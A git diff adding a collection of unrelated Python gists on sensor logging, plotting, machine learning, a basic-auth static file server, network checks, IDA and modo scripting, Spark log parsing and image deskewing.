+        url = "https://api.xively.com/v2/feeds/" + feedId + ".json"
+        headers = {"X-ApiKey": apiKey}
+        res = requests.put(url, headers=headers, data=requestJson)
+        return res
+ 
+sensor = ADT7410(ADDRESS, CHANNEL)
+ 
+while True:
+    value = sensor.readValue()
+    if value is not None:
+        print("Temperature: %6.2f [Deg. C.]" %value)
+        sensor.registToXively(API_KEY, FEED_ID)
+    time.sleep(INTERVAL)
\ No newline at end of file
diff --git a/hard-gists/bba5c2ba3000010ca049d6f96f5d2f27/._snippet.py b/hard-gists/bba5c2ba3000010ca049d6f96f5d2f27/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bba5c2ba3000010ca049d6f96f5d2f27/._snippet.py differ
diff --git a/hard-gists/bba5c2ba3000010ca049d6f96f5d2f27/snippet.py b/hard-gists/bba5c2ba3000010ca049d6f96f5d2f27/snippet.py
new file mode 100644
index 00000000..c382999d
--- /dev/null
+++ b/hard-gists/bba5c2ba3000010ca049d6f96f5d2f27/snippet.py
@@ -0,0 +1,22 @@
+import numpy as np
+import matplotlib.pyplot as plt
+from jr.plot import pretty_plot, plot_eb  # available @ http://github.com/kingjr/jr-tools
+
+# make up data
+x = np.linspace(1., 5., 100)
+all_data = dict(AG=np.sin(x), V1=np.cos(x), IPS=np.cos(x + 1.5))
+
+# choose color manually
+colors = ['r', [.1, 1., .2, 1.], 'b']
+alphas = [.35, .5, .35]
+fig, ax = plt.subplots(1)
+for (name, data), color, alpha in zip(all_data.iteritems(), colors, alphas):
+    plot_eb(x, data, .2, color=color, ax=ax, alpha=alpha)
+    ax.plot(x, data, color='k', linewidth=1.2)
+
+# make it pretty
+ax.spines['bottom'].set_position('center')
+ax.set_yticks(np.arange(-1, 1.01, 1))
+ax.set_xticks(np.arange(1, 5.01, 1))
+ax.set_xticklabels([])
+pretty_plot(ax)
\ No newline at end of file
diff --git a/hard-gists/bbfa863f3fe4bb2163d94394d7b60899/._snippet.py b/hard-gists/bbfa863f3fe4bb2163d94394d7b60899/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bbfa863f3fe4bb2163d94394d7b60899/._snippet.py differ
diff --git a/hard-gists/bbfa863f3fe4bb2163d94394d7b60899/snippet.py b/hard-gists/bbfa863f3fe4bb2163d94394d7b60899/snippet.py
new file mode 100644
index 00000000..9076821a
--- /dev/null
+++ b/hard-gists/bbfa863f3fe4bb2163d94394d7b60899/snippet.py
@@ -0,0 +1,17 @@
+from functools import partial
+from operator import concat
+from os.path import isfile
+
+from fold import foldl
+
+
+def _list_files_from(part, prev):
+    current = "%s/%s" % (prev, part)
+    if isfile(current):
+        return [current]
+    else:
+        ls = partial(_list_files_from, prev=current)
+        return foldl([], concat, map(ls, listdir(current)))
+
+def list_files_from(start):
+  return _list_files_from(start, ".")
diff --git a/hard-gists/bbfc1f0b9d003bf08b26/._snippet.py b/hard-gists/bbfc1f0b9d003bf08b26/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bbfc1f0b9d003bf08b26/._snippet.py differ
diff --git a/hard-gists/bbfc1f0b9d003bf08b26/snippet.py b/hard-gists/bbfc1f0b9d003bf08b26/snippet.py
new file mode 100644
index 00000000..be32f7b3
--- /dev/null
+++ b/hard-gists/bbfc1f0b9d003bf08b26/snippet.py
@@ -0,0 +1,29 @@
+import numpy as np
+import pandas as pd
+from lxml import html
+from sklearn import metrics
+from sklearn.cross_validation import train_test_split
+from sklearn.linear_model import LogisticRegression as LR
+from sklearn.feature_extraction.text import TfidfVectorizer
+
+def clean(text):
+	return html.fromstring(text).text_content().lower().strip()
+
+tr_data = pd.read_csv('/media/datasets/kaggle_imdb/labeledTrainData.tsv', delimiter='\t')
+te_data = pd.read_csv('/media/datasets/kaggle_imdb/testData.tsv', delimiter='\t')
+
+trX = [clean(text) for text in tr_data['review'].values]
+trY = tr_data['sentiment'].values
+
+vect = TfidfVectorizer(min_df=10, ngram_range=(1, 2))
+trX = vect.fit_transform(trX)
+
+model = LR()
+model.fit(trX, trY)
+
+ids = te_data['id'].values
+teX = [clean(text) for text in te_data['review'].values]
+teX = vect.transform(teX)
+pr_teX = model.predict_proba(teX)[:, 1]
+
+pd.DataFrame(np.asarray([ids, pr_teX]).T).to_csv('test.csv',index=False,header=["id", "sentiment"])
\ No newline at end of file
diff --git a/hard-gists/bc901de8b7e59cbeb190/._snippet.py b/hard-gists/bc901de8b7e59cbeb190/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bc901de8b7e59cbeb190/._snippet.py differ
diff --git a/hard-gists/bc901de8b7e59cbeb190/snippet.py b/hard-gists/bc901de8b7e59cbeb190/snippet.py
new file mode 100644
index 00000000..7f65c83d
--- /dev/null
+++ b/hard-gists/bc901de8b7e59cbeb190/snippet.py
@@ -0,0 +1,57 @@
+import webapp2
+import mimetypes
+import os
+import time
+from datetime import datetime
+import base64
+
+_here = os.path.dirname(__file__)
+
+USERNAME = 'foo'
+PASSWORD = 'bar'
+
+
+def check_auth(auth):
+  encoded_auth = auth[1]
+  username_colon_pass = base64.b64decode(encoded_auth)
+  username, password = username_colon_pass.split(':')
+  return username == USERNAME and password == PASSWORD
+
+
+class Handler(webapp2.RequestHandler):
+
+  def get(self, path):
+    auth = self.request.authorization
+    if auth is None or not check_auth(auth):
+      self.response.status_int = 401
+      self.response.headers['WWW-Authenticate'] = 'Basic realm="Login Required"'
+      return
+    request_etag = self.request.headers.get('If-None-Match')
+    if path.endswith('/') or not path:
+      path = path + 'index.html'
+    abs_path = os.path.join(_here, path)
+    if os.path.isdir(abs_path):
+      self.redirect(path + '/')
+      return
+    mimetype = mimetypes.guess_type(path)[0]
+    try:
+      stat = os.stat(abs_path)
+    except (OSError, IOError):
+      self.response.status_int = 404
+      self.response.out.write('Not found.')
+      return
+    time_obj = datetime.fromtimestamp(stat.st_ctime).timetuple()
+    headers = {'Content-Type': mimetype or ''}
+    headers['Last-Modified'] =  time.strftime('%a, %d %b %Y %H:%M:%S GMT', time_obj)
+    headers['ETag'] = '"{}"'.format(headers['Last-Modified'])
+    if headers['ETag'] == request_etag:
+      self.response.status_int = 304
+      return
+    fp = open(abs_path)
+    self.response.headers.update(headers)
+    self.response.out.write(fp.read())
+
+
+app = webapp2.WSGIApplication([
+    ('/(.*)', Handler),
+])
diff --git a/hard-gists/bca0daa0c3ca0ddb2c70/._snippet.py b/hard-gists/bca0daa0c3ca0ddb2c70/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bca0daa0c3ca0ddb2c70/._snippet.py differ
diff --git a/hard-gists/bca0daa0c3ca0ddb2c70/snippet.py b/hard-gists/bca0daa0c3ca0ddb2c70/snippet.py
new file mode 100644
index 00000000..57c39d4f
--- /dev/null
+++ b/hard-gists/bca0daa0c3ca0ddb2c70/snippet.py
@@ -0,0 +1,79 @@
+"""
+Example command for removing zero rotations from a locator item.
+Clears the zero rotation offset while maintaining the pose. Acts on all selected locator items.
+
+Limitation: Only works if the rotation item's location is subsequent to the zero rotation item
+            (As by default when using the skeleton tool)
+            
+            Existing animation curves are removed
+            
+Simplified example, no argument handling or command helps/configs added.
+"""
+
+import lx
+import lxifc
+import lxu.command
+import modo
+
+class CmdClearZeroRotation(lxu.command.BasicCommand):
+    def __init__(self):
+        lxu.command.BasicCommand.__init__(self)                        
+
+        # Adding an optional argument 'clear'. 
+        # If True, the zero rotation is cleared,
+        # if False, the rotation is cleared instead.
+
+        self.dyna_Add('clear', lx.symbol.sTYPE_BOOLEAN)
+        self.basic_SetFlags(0, lx.symbol.fCMDARG_OPTIONAL)  
+
+    def cmd_Flags(self):
+        return lx.symbol.fCMD_MODEL | lx.symbol.fCMD_UNDO 
+
+    def basic_Execute(self, msg, flags):
+
+	# Get the value of our 'clear' argument, defaulting to 1 if it was not passed
+	doClear = self.dyna_Int(0, 1)
+	
+	# Get the current scene
+	scn = modo.Scene()
+	
+	# Iterate all selected items that have locator as super type
+	for loc in scn.selectedByType(modo.c.LOCATOR_TYPE, superType=True):
+	
+		# Create list of rotation items
+		# We assume the rotation item's index is the one following the the zero's index
+		rotationItems = [t for t in loc.transforms if t.type=='rotation']
+		
+		# Find the zero rotation item
+		zeroItem = next((t for t in rotationItems if 'Rotation Zero' in t.name), None)
+		
+		if zeroItem:
+			index = rotationItems.index(zeroItem)
+			
+			# Find the next transform item and verify that it is a rotation
+			if len(rotationItems) >= index:
+				rotation = rotationItems[index+1]			
+				if not rotation.type == 'rotation':
+					continue
+
+				matZero = modo.Matrix4( zeroItem.channel('matrix').get() )
+				matRot  = modo.Matrix4( rotation.channel('matrix').get() )	
+
+				if doClear:
+					
+					# Multiply the matrices to get a single rotation
+					matResult = matRot * matZero
+					
+					# Clear the zero item's rotation and set the rotation item values
+					zeroItem.set( (0,0,0) )
+					rotation.set( matResult.asEuler() )
+
+				else:
+					# Multiply the matrices to get a single rotation
+					matResult = matRot * matZero
+					
+					# Clear the rotation and apply the values to the zero rotation
+					rotation.set( (0,0,0) )
+					zeroItem.set( matResult.asEuler() )
+					
+lx.bless(CmdClearZeroRotation, "test.clearZero")
\ No newline at end of file
diff --git a/hard-gists/bcc376fb336b73f24b29/._snippet.py b/hard-gists/bcc376fb336b73f24b29/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bcc376fb336b73f24b29/._snippet.py differ
diff --git a/hard-gists/bcc376fb336b73f24b29/snippet.py b/hard-gists/bcc376fb336b73f24b29/snippet.py
new file mode 100644
index 00000000..a776bf8b
--- /dev/null
+++ b/hard-gists/bcc376fb336b73f24b29/snippet.py
@@ -0,0 +1,140 @@
+#!/usr/bin/env python
+import tensorflow as tf
+import numpy as np
+from numpy import genfromtxt
+
+# Build Example Data is CSV format, but use Iris data
+from sklearn import datasets
+from sklearn.model_selection import train_test_split
+import sklearn
+def buildDataFromIris():
+    iris = datasets.load_iris()
+    X_train, X_test, y_train, y_test = train_test_split(iris.data, iris.target, test_size=0.33, random_state=42)
+    f=open('cs-training.csv','w')
+    for i,j in enumerate(X_train):
+        k=np.append(np.array(y_train[i]),j   )
+        f.write(",".join([str(s) for s in k]) + '\n')
+    f.close()
+    f=open('cs-testing.csv','w')
+    for i,j in enumerate(X_test):
+        k=np.append(np.array(y_test[i]),j   )
+        f.write(",".join([str(s) for s in k]) + '\n')
+    f.close()
+
+
+# Convert to one hot
+def convertOneHot(data):
+    y=np.array([int(i[0]) for i in data])
+    y_onehot=[0]*len(y)
+    for i,j in enumerate(y):
+        y_onehot[i]=[0]*(y.max() + 1)
+        y_onehot[i][j]=1
+    return (y,y_onehot)
+
+
+buildDataFromIris()
+
+
+data = genfromtxt('cs-training.csv',delimiter=',')  # Training data
+test_data = genfromtxt('cs-testing.csv',delimiter=',')  # Test data
+
+x_train=np.array([ i[1::] for i in data])
+y_train,y_train_onehot = convertOneHot(data)
+
+x_test=np.array([ i[1::] for i in test_data])
+y_test,y_test_onehot = convertOneHot(test_data)
+
+
+#  A number of features, 4 in this example
+#  B = 3 species of Iris (setosa, virginica and versicolor)
+A=data.shape[1]-1 # Number of features, Note first is y
+B=len(y_train_onehot[0])
+tf_in = tf.placeholder("float", [None, A]) # Features
+tf_weight = tf.Variable(tf.zeros([A,B]))
+tf_bias = tf.Variable(tf.zeros([B]))
+tf_softmax = tf.nn.softmax(tf.matmul(tf_in,tf_weight) + tf_bias)
+
+
+
+
+# Training via backpropagation
+tf_softmax_correct = tf.placeholder("float", [None,B])
+tf_cross_entropy = -tf.reduce_sum(tf_softmax_correct*tf.log(tf_softmax))
+
+# Train using tf.train.GradientDescentOptimizer
+tf_train_step = tf.train.GradientDescentOptimizer(0.01).minimize(tf_cross_entropy)
+
+# Add accuracy checking nodes
+tf_correct_prediction = tf.equal(tf.argmax(tf_softmax,1), tf.argmax(tf_softmax_correct,1))
+tf_accuracy = tf.reduce_mean(tf.cast(tf_correct_prediction, "float"))
+
+
+
+# Recreate logging dir
+import shutil, os, sys
+TMPDir='./tenIrisSave'
+try:
+ shutil.rmtree(TMPDir)
+except:
+ print "Tmp Dir did not exist"
+os.mkdir(TMPDir, 0755 )
+
+# Initialize and run
+sess = tf.Session()
+#sess = tf.InteractiveSession()
+init = tf.initialize_all_variables()
+sess.run(init)
+
+# Build the summary operation based on the TF collection of Summaries.
+tf.train.write_graph(sess.graph_def, TMPDir + '/logsd','graph.pbtxt')
+
+#acc = tf.scalar_summary("Accuracy:", tf_accuracy)
+tf.scalar_summary("Accuracy:", tf_accuracy)
+tf.histogram_summary('weights', tf_weight)
+tf.histogram_summary('bias', tf_bias)
+tf.histogram_summary('softmax', tf_softmax)
+tf.histogram_summary('accuracy', tf_accuracy)
+
+
+summary_op = tf.merge_all_summaries()
+#summary_writer = tf.train.SummaryWriter('./tenIrisSave/logs',graph_def=sess.graph_def)
+summary_writer = tf.train.SummaryWriter(TMPDir + '/logs',sess.graph_def)
+
+# This will not work. You need the full path.                                        
+# tensorboard --logdir=./tenIrisSave/   # BAD!
+# tensorboard --logdir=$(pwd)/tenIrisSave/  # Good!
+
+# This is for saving all our work
+saver = tf.train.Saver([tf_weight,tf_bias])
+
+print("...")
+# Run the training
+
+k=[]
+saved=0
+for i in range(100):
+    sess.run(tf_train_step, feed_dict={tf_in: x_train, tf_softmax_correct: y_train_onehot})
+# Print accuracy
+    result = sess.run(tf_accuracy, feed_dict={tf_in: x_test, tf_softmax_correct: y_test_onehot})
+    print "Run {},{}".format(i,result)
+    k.append(result)
+    summary_str = sess.run(summary_op,feed_dict={tf_in: x_test, tf_softmax_correct: y_test_onehot})
+    summary_writer.add_summary(summary_str, i)
+    if result == 1 and saved == 0:
+        saved=1
+        print "saving"
+        saver.save(sess,"./tenIrisSave/saveOne")
+
+
+k=np.array(k)
+print(np.where(k==k.max()))
+print "Max: {}".format(k.max())
+
+print "\nTo see the output, run the following:"
+print "tensorboard --logdir=$(pwd)/tenIrisSave"
+
+
+
+
+
+
diff --git a/hard-gists/bcd8b4002b6cbf77dd89/._snippet.py b/hard-gists/bcd8b4002b6cbf77dd89/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bcd8b4002b6cbf77dd89/._snippet.py differ
diff --git a/hard-gists/bcd8b4002b6cbf77dd89/snippet.py b/hard-gists/bcd8b4002b6cbf77dd89/snippet.py
new file mode 100644
index 00000000..99a6cd1f
--- /dev/null
+++ b/hard-gists/bcd8b4002b6cbf77dd89/snippet.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python3
+from datetime import datetime
+from urllib import request, error
+from subprocess import check_output, CalledProcessError
+from io import StringIO
+from time import tzname, localtime
+import socket
+
+LOCAL_NET_URLS = {'r': 'http://192.168.1.1',
+                  }
+INTERNET_URLS = {'g': 'https://www.google.com',
+                 'w': 'https://en.wikipedia.org',
+                 'o': 'https://www.orange.pl',
+                 'r': 'https://review.openstack.org/230275/',
+                 }
+
+# Is the network connected?
+def check_network_connected():
+    result = check_output(['nmcli', 'g'])
+    return b'State: connected' in result
+
+def check_url_python(url):
+    """Quick check to see that the internet connection is up.
+
+    Just makes sure we can reach the URL in question.
+    Good for checking that the modem really is connected."""
+
+    try:
+        result = request.urlopen(url, timeout=5)
+        return result.status >= 200 < 300
+    except error.HTTPError as e:
+        if e.code == 401:
+            # A login redirect, that means it works.
+            return True
+    except (error.URLError, socket.error):
+        return False
+    
+def check_url_wget(url):
+    """Get the whole web page with resources.
+
+    This checks that the site is practically loadable within a reasonable time.
+    Good for when the internet connection is up, but the service is unrealiable,
+    prone to load errors, or routing errors."""
+
+    try:
+        check_output(['wget', '-q', '-p', '-e', 'robots=off', '--timeout=15', '-P', '/tmp/ispstatus', '--no-cache', url])
+        return True
+    except CalledProcessError as e:
+        if e.returncode in [0, 8]:
+            return True
+    return False
+
+check_url = check_url_python
+
+def check_local_area_network():
+    """Check that the LAN is up"""
+    for k, v in LOCAL_NET_URLS.items():
+        yield k, check_url(v)
+
+def check_internet():
+    """Check that the WAN is up"""
+    for k, v in INTERNET_URLS.items():
+        yield k, check_url(v)
+
+if __name__ == '__main__':
+    tz = tzname[localtime().tm_isdst]
+    time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + ' ' + tz
+    #wifi = check_network_connected()
+    lan = dict(check_local_area_network())
+    internet = dict(check_internet())
+    wifi_status = ''
+    #wifi_status = 'wifi: OK  ' if wifi else 'wifi: DOWN'
+    lan_status = 'lan: OK  ' if any(lan.values()) else 'lan: DOWN'
+    ext_lan_status = '(%s)' % ''.join(sorted(k.upper() if v else k.lower() for k,v in lan.items()))
+    internet_status = 'internet: OK  ' if all(internet.values()) else 'internet: DOWN'
+    ext_internet_status = '(%s)' % ''.join(sorted(k.upper() if v else k.lower() for k,v in internet.items()))
+    print(time, wifi_status, lan_status, ext_lan_status, internet_status, ext_internet_status)
\ No newline at end of file
diff --git a/hard-gists/bce94f1c37215f644e0c/._snippet.py b/hard-gists/bce94f1c37215f644e0c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bce94f1c37215f644e0c/._snippet.py differ
diff --git a/hard-gists/bce94f1c37215f644e0c/snippet.py b/hard-gists/bce94f1c37215f644e0c/snippet.py
new file mode 100644
index 00000000..8057f98d
--- /dev/null
+++ b/hard-gists/bce94f1c37215f644e0c/snippet.py
@@ -0,0 +1,59 @@
+# 
+# Callback when the user click on a register
+#
+
+from idaapi import *
+
+def extract_reg(line, cx):
+    linelen = len(line)
+    if cx >= linelen:
+        return
+
+    walker_cx = 0
+    byte_idx = 0
+    last_reg_start_idx = None
+    while walker_cx <= cx and byte_idx < linelen:
+        cur = line[byte_idx]
+        # print "byte_idx=%d, walker_cx=%d, cur=%d (%s)" % (byte_idx, walker_cx, ord(cur), "N/A" if ord(cur) < 32 or ord(cur) > 122 else cur)
+        if cur == COLOR_ON:
+            if ord(line[byte_idx + 1]) == COLOR_REG:
+                last_reg_start_idx = byte_idx + 2
+            byte_idx += 2
+        elif cur == COLOR_OFF:
+            if ord(line[byte_idx + 1]) == COLOR_REG:
+                last_reg_start_idx = None
+            byte_idx += 2
+        else:
+            byte_idx += 1
+            walker_cx += 1
+
+    if last_reg_start_idx:
+        last_reg_end_idx = last_reg_start_idx
+        while line[last_reg_end_idx] != COLOR_OFF and last_reg_end_idx < linelen:
+            last_reg_end_idx += 1
+        return line[last_reg_start_idx:last_reg_end_idx]
+
+
+class MyWrapper(IDAViewWrapper):
+    def __init__(self, title):
+        IDAViewWrapper.__init__(self, title)
+
+    def OnViewClick(self, px, py, state):
+        widget = pycim_get_tcustom_control(self)
+
+        from_mouse = False 
+        
+        # get current line
+        line = get_custom_viewer_curline(widget, from_mouse)
+
+        # get current X, Y in rows&columns space (as opposed to pixel space)
+        _, cx, cy = get_custom_viewer_place(widget, from_mouse)
+
+        reg = extract_reg(line, cx)
+        if reg:
+            print "Register: '%s'" % reg
+
+
+W = MyWrapper("IDA View-A")
+if not W.Bind():
+    print "Binding failed!"
\ No newline at end of file
diff --git a/hard-gists/bce98c5c1688fc833475/._snippet.py b/hard-gists/bce98c5c1688fc833475/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bce98c5c1688fc833475/._snippet.py differ
diff --git a/hard-gists/bce98c5c1688fc833475/snippet.py b/hard-gists/bce98c5c1688fc833475/snippet.py
new file mode 100644
index 00000000..dbb4c7e0
--- /dev/null
+++ b/hard-gists/bce98c5c1688fc833475/snippet.py
@@ -0,0 +1,165 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# install dependencies:
+# apt-get install libow-dev
+# pip install onewire influxdb
+
+import argparse
+from datetime import datetime
+import logging
+import signal
+import sys
+from threading import Timer
+from time import time
+
+from onewire import Onewire
+from influxdb import client as influxdb
+
+
+def int_signal_handler(signal, frame):
+    logging.info("interrupt detected")
+    sys.exit(0)
+
+signal.signal(signal.SIGINT, int_signal_handler)
+
+
+class ServiceLocation(object):
+
+    def __init__(self, hostname, port=None):
+        self.hostname = hostname
+        self.port = port
+
+
+class ServiceLocationAction(argparse.Action):
+
+    def __init__(self, option_strings, dest, nargs=None, **kwargs):
+        if nargs is not None and nargs != 1:
+            raise ValueError("Only one argument is allowed for a service location.")
+        super(ServiceLocationAction, self).__init__(option_strings, dest, **kwargs)
+
+    def __call__(self, parser, namespace, values, option_string=None):
+        if ":" in values:
+            hostname, port = values.split(":", 1)
+            port = int(port)
+            setattr(namespace, self.dest, ServiceLocation(hostname, port))
+        else:
+            hostname = values
+            setattr(namespace, self.dest, ServiceLocation(hostname))
+
+
+class InfluxDatabaseWriter(object):
+
+    def __init__(self, location, name):
+        self._client = influxdb.InfluxDBClient(location.hostname, location.port)
+        self._client.switch_database(name)
+
+    def write(self, datum):
+        self._client.write_points([{
+            "measurement": datum.measurement,
+            "tags": {},
+            "time": datum.time.isoformat(),
+            "fields": {"value": datum.value}}])
+
+
+class OneWireTemperatureSensor(object):
+
+    def __init__(self, location, identifier):
+        ow = Onewire("{hostname:s}:{port:d}".format(
+            hostname=location.hostname, port=location.port))
+        self._sensor = ow.sensor(identifier)
+
+    @property
+    def type(self):
+        return self._sensor.sensor_type
+
+    @property
+    def identifier(self):
+        return self._sensor.path
+
+    @property
+    def temperature(self):
+        temperature = self._sensor.read("temperature")
+        if temperature:
+            return float(temperature)
+        else:
+            return None
+
+
+class TimeSeriesDatum(object):
+
+    def __init__(self, measurement, value):
+        self.time = datetime.utcnow()
+        self.measurement = measurement
+        self.value = value
+
+
+class Repeater(object):
+
+    def __init__(self, interval, function, *args):
+        self._interval = interval
+        self._function = function
+        self._arguments = args
+
+    def __call__(self):
+        self._start_timer()
+        self._call_function()
+
+    def _call_function(self):
+        self._function(*self._arguments)
+
+    def _start_timer(self):
+        # align the execution of the function with the next multiple of
+        # the delay interval from the original start time
+        interval = self._interval
+        start_seconds = self._start_seconds
+        delay_seconds = interval - ((time() - start_seconds) % interval)
+        Timer(delay_seconds, self).start()
+
+    def start(self):
+        self._start_seconds = time()
+        self._start_timer()
+        self._call_function()
+
+
+def read_temperature(sensor, database):
+    temperature = sensor.temperature
+    if temperature is not None:
+        datum = TimeSeriesDatum("temp", temperature)
+        database.write(datum)
+        logging.info("temperature is {value:f} °C [{time!s}]".format(
+            value=datum.value, time=datum.time))
+    else:
+        logging.warning("could not convert temperature \"{value:s}\"".format(
+            value=temperature))
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description="read temperatures from a OneWire sensor")
+    parser.add_argument("device", type=str, help="device ID")
+    parser.add_argument("-I", "--influx", type=str, default="localhost",
+                        help="InfluxDB hostname (default: %(default)s",
+                        action=ServiceLocationAction),
+    parser.add_argument("-D", "--database", type=str, default=None,
+                        help="InfluxDB database name"),
+    parser.add_argument("-H", "--host", type=str, default="localhost:4304",
+                        help="owserver hostname (default: %(default)s)",
+                        action=ServiceLocationAction),
+    parser.add_argument("-d", "--delay", type=int, default=1,
+                        help="delay between sensor readings in seconds (default: %(default)d)")
+    args = parser.parse_args()
+
+    logging.basicConfig(level=logging.INFO)
+
+    database = InfluxDatabaseWriter(args.influx, args.database)
+    logging.info("connected to InfluxDB server at {hostname:s}:{port:d}".format(
+        hostname=args.influx.hostname, port=args.influx.port))
+
+    sensor = OneWireTemperatureSensor(args.host, args.device)
+    logging.info("connected to OneWire server at {hostname:s}:{port:d}".format(
+        hostname=args.host.hostname, port=args.host.port))
+    logging.info("found device {identifier:s} (type = {type:s})".format(
+        identifier=sensor.identifier, type=sensor.type))
+
+    Repeater(args.delay, read_temperature, sensor, database).start()
diff --git a/hard-gists/bd0940f7988774e2822d/._snippet.py b/hard-gists/bd0940f7988774e2822d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bd0940f7988774e2822d/._snippet.py differ
diff --git a/hard-gists/bd0940f7988774e2822d/snippet.py b/hard-gists/bd0940f7988774e2822d/snippet.py
new file mode 100644
index 00000000..ede67a92
--- /dev/null
+++ b/hard-gists/bd0940f7988774e2822d/snippet.py
@@ -0,0 +1,69 @@
+# coding: utf-8
+
+# command example:
+#   $ spark-submit spark_log_extract.py \
+#   --name test \
+#   --notblankkeys dn,stm,ev_ac,pg_url \
+#   --filterregex ".*(=ac_pl\`|=ac_dl\`).*" \
+#   --usegzip \
+#   /path/to/source \
+#   /path/to/atom \
+#   dn,stm,ev_ac,v_title,v_uri,pg_url
+
+import sys
+import re
+from pyspark import SparkContext, SparkConf
+from optparse import OptionParser
+
+
+def process(line, keys=[], not_blank_keys=[]):
+    fields = line.split('`')
+    output_lst = [''] * len(keys)
+    try:
+        for field in fields:
+            key, val = field.split('=', 1)
+            if key in keys:
+                output_lst[keys.index(key)] = val
+        for not_blank_key in not_blank_keys:
+            if not output_lst[keys.index(not_blank_key)]:
+                return
+    except:
+        return
+    return '\t'.join(output_lst)
+
+
+def parse_args():
+    usage = "usage: %prog [options] input_path output_path keys"
+    parser = OptionParser(usage=usage)
+    parser.add_option(
+        '--name', default='SparkLogExtract', help='name of Spark job')
+    parser.add_option('--notblankkeys', default=[],
+                      help='field keys must be not blank with "," delimiter')
+    parser.add_option(
+        '--filterregex', help='line filter regex', default='.*')
+    parser.add_option('--usegzip', action='store_true',
+                      help='output gzip or normal file', default=False)
+    (options, args) = parser.parse_args()
+    if len(args) != 3:
+        parser.error('incorrect number of arguments')
+    return options, args
+
+
+def main():
+    options, args = parse_args()
+    keys = [k.strip() for k in args[2].split(',')]
+    not_blank_keys = [k.strip() for k in options.notblankkeys.split(',')]
+    conf = SparkConf().setAppName(options.name)
+    if options.usegzip:
+        conf.set(
+            'spark.hadoop.mapreduce.output.fileoutputformat.compress', 'true')
+        conf.set('spark.hadoop.mapreduce.output.fileoutputformat.compress.codec',
+                 'org.apache.hadoop.io.compress.GzipCodec')
+        conf.set(
+            'spark.mapreduce.output.fileoutputformat.compress.type', 'BLOCK')
+    sc = SparkContext(conf=(conf))
+    sc.textFile(args[0]).filter(lambda x: re.match(options.filterregex, x)).map(
+        lambda x: process(x, keys, not_blank_keys)).filter(lambda x: x).saveAsTextFile(args[1])
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/bd2d6c2271e42ed97b97/._snippet.py b/hard-gists/bd2d6c2271e42ed97b97/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bd2d6c2271e42ed97b97/._snippet.py differ
diff --git a/hard-gists/bd2d6c2271e42ed97b97/snippet.py b/hard-gists/bd2d6c2271e42ed97b97/snippet.py
new file mode 100644
index 00000000..36ed176b
--- /dev/null
+++ b/hard-gists/bd2d6c2271e42ed97b97/snippet.py
@@ -0,0 +1,32 @@
+import cv2
+import numpy as np
+from matplotlib import pyplot as plt
+
+img = cv2.imread('image.jpg', cv2.IMREAD_GRAYSCALE)
+
+def compute_skew(image):
+    image = cv2.bitwise_not(image)
+    height, width = image.shape
+
+    edges = cv2.Canny(image, 150, 200, 3, 5)
+    lines = cv2.HoughLinesP(edges, 1, cv2.cv.CV_PI/180, 100, minLineLength=width / 2.0, maxLineGap=20)
+    angle = 0.0
+    nlines = lines.size
+    for x1, y1, x2, y2 in lines[0]:
+        angle += np.arctan2(y2 - y1, x2 - x1)
+    return angle / nlines
+
+
+def deskew(image, angle):
+    image = cv2.bitwise_not(image)
+    non_zero_pixels = cv2.findNonZero(image)
+    center, wh, theta = cv2.minAreaRect(non_zero_pixels)
+
+    root_mat = cv2.getRotationMatrix2D(center, angle, 1)
+    rows, cols = image.shape
+    rotated = cv2.warpAffine(image, root_mat, (cols, rows), flags=cv2.INTER_CUBIC)
+
+    return cv2.getRectSubPix(rotated, (cols, rows), center)
+
+
+deskewed_image = deskew(img.copy(), compute_skew(img))
\ No newline at end of file
diff --git a/hard-gists/bd57b54a5c6903e4a6a2/._snippet.py b/hard-gists/bd57b54a5c6903e4a6a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bd57b54a5c6903e4a6a2/._snippet.py differ
diff --git a/hard-gists/bd57b54a5c6903e4a6a2/snippet.py b/hard-gists/bd57b54a5c6903e4a6a2/snippet.py
new file mode 100644
index 00000000..9d5e4dc3
--- /dev/null
+++ b/hard-gists/bd57b54a5c6903e4a6a2/snippet.py
@@ -0,0 +1,55 @@
+import numpy as np
+import rasterio as rio
+import dask
+import dask.array as da
+
+class RioDataset():
+    def __init__(self, filepath, band=1):
+        self.band = band
+        self.dataset = rio.open(filepath)
+        self.dtype = self.dataset.dtypes[band-1]
+        self.shape = self.dataset.shape
+
+    def __getitem__(self, val):
+        if isinstance(val, tuple):
+            try:
+                window = []
+                for obj in val:
+                    if isinstance(obj,slice):
+                        assert obj.step in [1, None]
+                        window.append((obj.start, obj.stop))
+                    elif isinstance(obj, int):
+                        window.append((obj, obj+1))
+                    else:
+                        raise TypeError('Invalid slice')
+
+                return self.dataset.read(self.band, window=window)
+
+            except AssertionError:
+                raise TypeError('Invalid slice')
+        else:
+            raise TypeError('Invalid slice')
+
+class RioArray(da.Array):
+    def __init__(self, filepath, band=1):
+        self.dataset = rio.open(filepath)
+        blocks = list(self.dataset.block_windows())
+        block_shape = self.dataset.block_shapes[band-1]
+        chunks = block_shape
+        dask = {(filepath,ji[0],ji[1]):
+                   (self.dataset.read, band, None, window)
+                   for ji, window in blocks
+               }
+
+        name = filepath
+        dtype = self.dataset.dtypes[band-1]
+        shape = self.dataset.shape
+
+        da.Array.__init__(self, dask, name, chunks, dtype, shape)
+
+
+    def __del__(self):
+        try:
+            self._dataset.close()
+            del self._dataset
+        except:pass
